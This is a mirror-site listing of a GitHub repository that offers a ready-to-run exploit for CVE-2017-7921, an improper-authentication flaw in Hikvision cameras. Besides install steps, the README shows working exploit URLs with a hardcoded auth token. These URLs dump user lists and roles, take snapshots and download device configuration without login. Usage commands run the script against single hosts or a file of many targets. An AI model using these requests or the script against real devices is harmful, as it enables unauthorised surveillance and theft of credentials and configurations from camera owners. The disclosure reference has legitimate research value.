CVE-2017-7921-EXP - GitLite

KO | EN

gitlite — search

#python #llm #machine-learning #rust #deep-learning #docker #macos #nodejs #windows #awesome #cli #vue #mcp #open-source

CVE-2017-7921-EXP

(★ 102)

Hikvision camera CVE-2017-7921-EXP

File Explorer

Download Latest Version (.zip)

CVE_2017_7921_EXP.py
README.md
requirements.txt
Screenshot.jpg

# Installation Guide

1. Get the code

git clone https://github.com/JrDw0/CVE-2017-7921-EXP

Downloads the entire project code from GitHub to your computer.

cd CVE-2017-7921-EXP

Moves into the project folder you just downloaded.

2. Python

Easy Recommended

Prerequisites

Git Needed to download the project code from GitHub.
Python 3 On Windows, be sure to check 'Add Python to PATH' during installation.

python3 -m pip install -r requirements.txt

Installs the Python libraries listed in requirements.txt (or similar).

✅ If it runs without errors and prints output in the terminal, it worked.

Pulled directly from this repo's README.

// repository documentation

Was this content helpful?

★ 0 (0 ratings)

# CVE-2017-7921 Exploit

An Improper Authentication issue was discovered in Hikvision  devices.

The improper authentication vulnerability occurs when an application does not adequately or correctly authenticate users.

This may allow a malicious user to escalate his or her privileges on the system and gain access to sensitive information.

https://seclists.org/fulldisclosure/2017/Sep/23

Vulnerability details:

\----------------------

Retrieve a list of all users and their roles:

http://camera.ip/Security/users?auth=YWRtaW46MTEK

Obtain a camera snapshot without authentication:

http://camera.ip/onvif-http/snapshot?auth=YWRtaW46MTEK

And worst of all, one can download camera configuration:

http://camera.ip/System/configurationFile?auth=YWRtaW46MTEK

## Install dependence

```python
python3 -m pip install -r requirements.txt
```

## Usage

```python3
python3 CVE_2017_7921_EXP.py -t xxx.xx.xx.xx run
python3 CVE_2017_7921_EXP.py -t ./targets.txt run
```

## Screenshot

![](https://raw.githubusercontent.com/JrDw0/CVE-2017-7921-EXP/master/Screenshot.jpg)